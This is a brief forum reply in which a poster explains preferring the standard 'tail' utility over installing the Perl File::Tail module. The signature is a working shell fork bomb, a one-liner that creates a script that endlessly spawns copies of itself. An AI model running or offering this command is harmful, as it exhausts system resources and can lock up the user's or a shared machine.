I can be sure that my coworkers all have 'tail' installed, but I can't ask them all to install File::Tail. But thanks for the idea.

Cheers,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;